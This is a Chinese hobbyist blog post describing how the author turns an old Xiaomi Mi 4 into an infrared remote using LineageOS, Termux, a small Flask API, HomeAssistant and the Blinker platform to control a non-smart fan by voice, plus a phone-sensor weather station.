]]>随着家里接入米家生态链的智能家庭设备越来越多,我已经习惯于使唤房间里的小爱音箱帮我完成各种开关操作。就在前几天,我甚至都忘记了房间里的电风扇不是智能的,对着小爱同学张口就来,最后还得自己去开。那么对于这样的非智能家电,是否能够将其接入到智能家居的生态链中呢?答案是肯定的,比如我房间里的这台风扇支持红外遥控,只需要加钱买个米家生态链的红外万能遥控器就解决了。
然而目前市面上一台红外万能遥控器价格在几十块到一百多块不等,贫穷使我我不得不思索另一种替代方案。看到抽屉里的小米4以及机身顶部的红外发射器,我突然有了灵感。这台小米4是我初中的时候用的,上了高中换了手机以后就放在抽屉里没动过了,算下来已经是7年前的老古董了。虽然这样一台手机在今天干啥都有那么点卡顿,而且无论是官方的还是第三方的 ROM 都已经停止支持了,但是当一个万能遥控绰绰有余。因此,这篇文章就来谈谈我是如何让7年前的小米4重获新生的。
首先既然要干这么有意思的事情,当然受不住 MIUI 条条框框的束缚,所以第一件事就是刷入第三方 Recovery(我选择的是 TWRP)以及第三方 ROM(我选择的是 Lineage OS)。由于年代久远,Lineage OS 也停止了对于小米4的支持,因此我 Google 了一下,在 XDA 论坛上找到了一个比较新的 Unofficial 版本,刷入后各项功能都正常。接着又刷入了 OpenGApps 以便于使用 Google Play 商店安装应用。
因为我并不会安卓开发,所以我选择了 Termux。在使用 Google Play 安装了 Termux 本体以及 Termux-API,配置好 openssh-server 后,这台手机就变身为一块 ARM 开发版。通过 Termux-API 可以调用手机的各项功能,当然其中也就包括红外发射。
由于红外发射需要红外遥控码,不同品牌、同一品牌不同型号的设备的红外遥控码都大概率是不一样的,而厂家一般也不会公开这些信息,这时就需要一个维护好的红外码库,从中查询自己的电器遥控器上每个按钮对应的红外遥控码。虽然现在网上一搜就能看到很多这种码库,但基本上全是要收费的。如果不想要花钱就只能自己买红外接收器,逐个按键录入遥控码,这无疑又是一笔额外开销。
好在几年前有人维护过一个开源的红外码库叫做 IRext,但是由于一些原因(估计是动了谁的蛋糕)这个码库的官网关闭了,文档下线了,GitHub 仓库也删除了,虽然有相关的 Fork 但是 Readme 里面的链接和文档都打不开了。好在 IRext 的 API 服务器其实还是偷偷开着的,只是因为没有文档不知道如何使用。我也是很懵地研究了很久,最后终于摸索清楚了。考虑到这个码库关闭的原因,我在本文中就不指明了,留下一点线索供需要的人参考。
[1250,340,340,1250,340,1250,1250,1250,340,1250,...]
的编码。在这一步我将展示如何利用这台小米4将我房间里的风扇接入 HomeAssistant。
确保手机连接了 WiFi,安装好了 Termux 及 Termux-API,通过 SSH 连接到手机上的 Termux。调用termux-infrared-transmit
指令以了解红外发射功能的使用方法。
调用如下的命令以测试红外发射,-f
指定了发射的频率,一般的红外遥控器频率为38kHz,因此指定频率为38000
Hz。后面的第二个参数即红外遥控码。如果命令执行完毕被控设备正常响应则没有问题。
termux-infrared-transmit -f 38000 1250,340,340,1250,340,1250,1250,1250,340,1250,...
接着为了让局域网里运行在软路由上的 HomeAssistant 能够控制该设备,我用 Python 和 Flask 写了一个 API 接口。先在 Termux 中安装好 Python3,然后编写api.py
。
from flask import Flask,requestimport jsonimport osapp=Flask(__name__)@app.route("/airmate_fan_power",methods=["GET"])def airmate_fan_power(): return_dict= {'return_code': '200', 'return_info': 'ok'} os.system("termux-infrared-transmit -f 38000 1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,430,1250,430,1250,430,1250,430,1250,1250,7430,1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,430,1250,430,1250,430,1250,430,1250,1250,7430,1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,430,1250,430,1250,430,1250,430,1250,1250,7430") return json.dumps(return_dict, ensure_ascii=False)@app.route("/airmate_fan_rotate",methods=["GET"])def airmate_fan_rotate(): return_dict= {'return_code': '200', 'return_info': 'ok'} os.system("termux-infrared-transmit -f 38000 1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,1250,430,430,1250,430,1250,430,1250,430,8250,1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,1250,430,430,1250,430,1250,430,1250,430,8250,1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,1250,430,430,1250,430,1250,430,1250,430,8250") return json.dumps(return_dict, ensure_ascii=False)@app.route("/airmate_fan_wind",methods=["GET"])def airmate_fan_wind(): return_dict= {'return_code': '200', 'return_info': 'ok'} os.system("termux-infrared-transmit -f 38000 1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,430,1250,430,1250,430,1250,1250,430,430,8250,1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,430,1250,430,1250,430,1250,1250,430,430,8250,1250,430,1250,430,430,1250,1250,430,1250,430,430,1250,430,1250,430,1250,430,1250,430,1250,1250,430,430,8250") return json.dumps(return_dict, ensure_ascii=False)if __name__ == "__main__": app.run(debug=True, host="0.0.0.0")
(需要注意的是本段代码实现的 API 功能没有进行任何的鉴权,因为是开放在家里内网上的,只要家里内网不被打穿相对而言比较安全,切勿开放在公网上)
通过下面的指令使其在后台运行。
nohup python api.py >> flask.log 2>&1 &
打开局域网内任何设备的浏览器,访问 http://MI4-IP:5000/airmate_fan_power
,其中MI4-IP
为手机的局域网 IP 地址,如果风扇开了/关了,说明成功。
最后通过给 HomeAssistant 的 configuration.yaml
添加配置以注册设备。
shell_command: airmate_fan_power: curl http://192.168.1.225:5000/airmate_fan_power airmate_fan_rotate: curl http://192.168.1.225:5000/airmate_fan_rotate airmate_fan_wind: curl http://192.168.1.225:5000/airmate_fan_windscript: airmate_fan_power: alias: "卧室的艾美特风扇-电源" icon: "mdi:fan" sequence: - service: shell_command.airmate_fan_power airmate_fan_rotate: alias: "卧室的艾美特风扇-摆风" icon: "mdi:fan" sequence: - service: shell_command.airmate_fan_rotate airmate_fan_wind: alias: "卧室的艾美特风扇-风速" icon: "mdi:fan" sequence: - service: shell_command.airmate_fan_wind
打开 HomeAssistant 可见设备,可以点击「运行」进行测试。如果配置了 HomeKit,在 iOS 的「家庭」应用中也可以看到设备。
至此貌似还没有解决最初的问题,即能够通过小爱同学来控制风扇。由于注册小爱开放平台貌似需要把 HomeAssistant 暴露在公网,再加上各种实名认证、审核太过麻烦,我决定曲线救国。
众所周知「米家」APP 中有一个「其他平台设备」的功能,可以添加第三方平台的设备,其中「点灯科技」吸引了我的兴趣。在阅读了点灯科技 Blinker 的文档后,我发现这个办法可行。
由于 Blinker 推荐的 SDK 是 Typescript 的,在弱小的小米 4 上跑这玩意简直要命(试过,几个小时后 node 进程因为内存不足被杀了),好在有软路由,我选择丢到软路由上去跑。
参照 Blinker 的文档注册设备、配置环境、安装 SDK 的过程这里不赘述了,可以自行搜索,选择 Broker 的时候注意选择阿里云,选择点灯科技将不支持小爱控制。安装完后改写 SDK 目录下 example/miot/example_miot_light.ts
,加入控制语句。
import { BlinkerDevice } from '../../lib/blinker';import { Miot, VA_TYPE, MI_LIGHT_MODE } from '../../lib/voice-assistant';const { exec } = require('child_process');let device = new BlinkerDevice('/* Your Secret */');let miot = device.addVoiceAssistant(new Miot(VA_TYPE.LIGHT));device.ready().then(() => { miot.powerChange.subscribe(message => { switch (message.data.set.pState) { case "true": message.power("on").update(); exec('curl http://192.168.1.225:5000/airmate_fan_power', (err, stdout, stderr) => {}); break; case "false": message.power("off").update(); exec('curl http://192.168.1.225:5000/airmate_fan_power', (err, stdout, stderr) => {}); break; default: break; } }) miot.modeChange.subscribe(message => { switch (message.data.set.mode) { case MI_LIGHT_MODE.DAY: exec('curl http://192.168.1.225:5000/airmate_fan_rotate', (err, stdout, stderr) => {}); break; case MI_LIGHT_MODE.NIGHT: exec('curl http://192.168.1.225:5000/airmate_fan_wind', (err, stdout, stderr) => {}); break; case MI_LIGHT_MODE.COLOR: break; case MI_LIGHT_MODE.WARMTH: break; case MI_LIGHT_MODE.TV: break; case MI_LIGHT_MODE.READING: break; case MI_LIGHT_MODE.COMPUTER: break; default: break; } message.mode(message.data.set.mode).update(); }) miot.colorChange.subscribe(message => { console.log('RGB:', int2rgb(Number(message.data.set.col))); message.color(message.data.set.col).update(); }) miot.colorTempChange.subscribe(message => { console.log(message); message.colorTemp(255).update(); }) let brightness = 50; miot.brightnessChange.subscribe(message => { if (typeof message.data.set.bright != 'undefined') { brightness = Number(message.data.set.bright) } else if (typeof message.data.set.upBright != 'undefined') { brightness = brightness + Number(message.data.set.upBright) } else if (typeof message.data.set.downBright != 'undefined') { brightness = brightness - Number(message.data.set.downBright) } message.brightness(brightness).update(); }) miot.stateQuery.subscribe(message => { message.power('on').update() }) device.dataRead.subscribe(message => { console.log('otherData:', message); }) device.builtinSwitch.change.subscribe(message => { console.log('builtinSwitch:', message); device.builtinSwitch.setState(turnSwitch()).update(); })})function rgb2int(r: number, g: number, b: number) { return ((0xFF << 24) | (r << 16) | (g << 8) | b)}function int2rgb(value: number) { let r = (value & 0xff0000) >> 16; let g = (value & 0xff00) >> 8; let b = (value & 0xff); return [r, g, b]}let switchState = falsefunction turnSwitch() { switchState = !switchState device.log("切换设备状态为" + (switchState ? 'on' : 'off')) return switchState ? 'on' : 'off'}
通过 ts-node example/miot/example_miot_light.ts
让其跑起来就可以了。
细心的你可能发现了,要接入的不是风扇吗,怎么用的是灯的 SDK?要怪就怪 Blinker 提供的 SDK 根本就是个半成品,风扇 SDK 还没写呢,只能先拿灯凑合用。只要把设备名称修改成「风扇」,小爱同学就听得懂了。至于风速、摆风功能我把它们绑定在了日光模式和夜灯模式上,利用小爱训练计划可以重定向指令,比如当我说“让风扇摇头”的时候执行“设置风扇为日光模式”就可以了。
最后在米家中绑定点灯科技并同步设备,来一句“小爱同学,打开风扇”,正常的话风扇就开咯。
使用termux-sensor -l
可以获得手机上都有哪些传感器,我惊讶地发现小米4竟然有货真价实的气压传感器,并不是通过 GPS 海拔数据倒推出来的,于是搭建了一个气象监测站,每5分钟提交一次数据至 Firebase 实时数据库,并使用 Apache Echarts 和 Jquery 制作了数据展示页面。
https://lab.hans362.cn/weather
当然termux-sensor
还告诉我有温度传感器,但这明显是 CPU 的温度传感器,测的并不是环境温度,就没有什么利用价值了。
另外有条件可以购入一张物联卡插入手机中,这样家里 WiFi 断开的时候也可以持续完成数据采集和上报。
就这样,小米4结束了它作为手机的使命,却在2021年成为了智能家庭与传统家电沟通的桥梁。
本文所提及的思路和方法适用于多数带有遥控功能的安卓手机,遥控对象可以是任何家电(只要有遥控码),欢迎尝试呀。
]]>